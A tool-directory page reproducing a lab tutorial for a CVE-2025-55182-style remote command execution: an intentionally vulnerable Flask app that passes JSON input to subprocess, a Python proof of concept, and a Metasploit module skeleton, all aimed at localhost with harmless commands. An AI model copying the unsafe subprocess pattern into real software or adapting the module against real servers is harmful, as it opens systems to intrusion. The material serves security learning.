Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-Metasploit-exploit-skeleton-real-flow- — Quyida to‘liq LAB rejasi: demo-vulnerable app → Python PoC → Metasploit exploit skeleton | Kitploit
Tools/GitHubGitHub/nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubnulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

Quyida to‘liq LAB rejasi: demo-vulnerable app → Python PoC → Metasploit exploit skeleton

View Repository
28 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🧪 STEP 1: Demo vulnerable web-app (LAB)

We create logic similar to CVE-2025-55182 (unsafe server-side execution).

📁 vuln_app/app.py

root@kitploit:~
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/render", methods=["POST"])
def render():
    data = request.json.get("component")

    # ❌ VULNERABLE: user input to command execution
    result = subprocess.getoutput(data)
    return result

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

Running:

root@kitploit:~
pip install flask
python app.py

📌 This is similar to React2Shell:

server-side input → execution

🧪 STEP 2: Python PoC (test exploit)

This is only to prove the existence of RCE.

📁 poc.py

root@kitploit:~
import requests

url = "http://127.0.0.1:3000/render"

payload = {
    "component": "id"
}

r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)

Expected output:

root@kitploit:~
uid=1000(user) gid=1000(user)

✅ RCE CONFIRMED (LAB)

🧠 STEP 3: Metasploit exploit SKELETON

This is a professional framework format, but not weaponized.

📁 Location

root@kitploit:~
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb

📄 lab_react_like_rce.rb

root@kitploit:~
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'LAB React-like Server RCE',
      'Description' => %q{
        Demonstration exploit for unsafe server-side execution.
        Tested only in a controlled lab environment.
      },
      'Author'      => ['Behruz'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['linux'],
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DisclosureDate' => '2025-01-01',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
    ])
  end

  def exploit
    print_status("Sending lab command execution request")

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'ctype'  => 'application/json',
      'data'   => {
        'component' => 'whoami'
      }.to_json
    })

    print_good("Request sent (LAB validation only)")
  end
end

Usage:

root@kitploit:~
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run

📌 Here:

❌ no reverse shell

✅ framework knowledge + exploit logic included

📁 STEP 4: Portfolio structure (IMPORTANT)

GitHub should look like this:

root@kitploit:~
lab-react-like-rce/
 ├─ vuln_app/
 │   └─ app.py
 ├─ poc/
 │   └─ poc.py
 ├─ metasploit/
 │   └─ lab_react_like_rce.rb
 ├─ README.md

📝 STEP 5: README content

root@kitploit:~
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.

## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted

## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation
Download Tool